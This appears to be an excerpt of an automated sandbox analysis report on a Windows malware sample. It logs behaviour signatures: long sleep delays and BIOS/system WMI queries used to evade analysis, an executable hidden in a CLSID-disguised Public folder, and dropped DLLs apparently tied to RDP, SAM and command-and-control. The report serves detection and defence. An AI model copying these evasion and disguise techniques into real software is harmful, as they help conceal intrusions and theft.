Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetLastError,EnumServicesStatusExA,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,strlen,strlen,GetProcessHeap,HeapAlloc,strcpy,		22_2_00007FF8B91834F4
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetLastError,EnumServicesStatusExA,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,strlen,strlen,GetProcessHeap,HeapAlloc,strcpy,		32_2_00007FF8B91834F4

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	22_2_00007FF8B9152BA8
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	22_2_00007FF8B9185728
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	22_2_00007FF8BA4F2BA8
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	22_2_00007FF8BFB31D98
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	22_2_00007FF8BFB52CE8
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	22_2_00007FF8BFB82278
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	32_2_00007FF8B9152BA8
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	32_2_00007FF8B9185728
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	32_2_00007FF8BA502BA8
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	32_2_00007FF8BFB31D98
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	32_2_00007FF8BFB52CE8
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	32_2_00007FF8BFB82278

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6454	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3298	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7521	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2066	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7569	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2055	Jump to behavior
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Window / User API: threadDelayed 1480
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Window / User API: threadDelayed 2649

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\GEGgzh0s	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\XpOp833v	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\I77yQ5in	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\o6oDuAJl	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\EgwqOk24	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\OwuZZod2	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\termsrv32.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rfxvmt.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\YXkdIYk6	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\YkhL6reh	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\GmdNT1AN	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.dll	Jump to dropped file

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_22-61680

Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_6-10282

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

API coverage: 1.5 %

Source: C:\Users\user\Desktop\cZO.exe TID: 6716	Thread sleep time: -18600000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5520	Thread sleep count: 6454 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5520	Thread sleep count: 3298 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3176	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5828	Thread sleep count: 7521 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6552	Thread sleep count: 2066 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4208	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1600	Thread sleep count: 7569 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2380	Thread sleep count: 2055 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1536	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 3836	Thread sleep count: 155 > 30
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 3836	Thread sleep time: -77500s >= -30000s
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 5352	Thread sleep count: 130 > 30
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 5352	Thread sleep time: -65000s >= -30000s
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 5276	Thread sleep count: 1480 > 30
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 5276	Thread sleep time: -4440000s >= -30000s
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 1524	Thread sleep count: 45 > 30
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 5276	Thread sleep count: 2649 > 30
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 5276	Thread sleep time: -7947000s >= -30000s

Source: C:\Users\user\Desktop\cZO.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\Desktop\cZO.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\Users\user\Desktop\cZO.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\Desktop\cZO.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior

Source: C:\Users\user\Desktop\cZO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Users\user\Desktop\cZO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Users\user\Desktop\cZO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Users\user\Desktop\cZO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Users\user\Desktop\cZO.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Last function: Thread delayed
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe	Code function: 6_2_00007FF775723DB3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	6_2_00007FF775723DB3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF6BE031CF3 FindNextFileA,_mbscpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF6BE031CF3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B9156233 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8B9156233
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8B918B333 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8B918B333
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BA4F4013 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8BA4F4013
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB331F3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8BFB331F3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB55013 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8BFB55013
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 22_2_00007FF8BFB857B3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	22_2_00007FF8BFB857B3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8B9156233 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	32_2_00007FF8B9156233
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8B918B333 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	32_2_00007FF8B918B333
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BA504013 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	32_2_00007FF8BA504013
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 32_2_00007FF8BFB331F3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	32_2_00007FF8BFB331F3
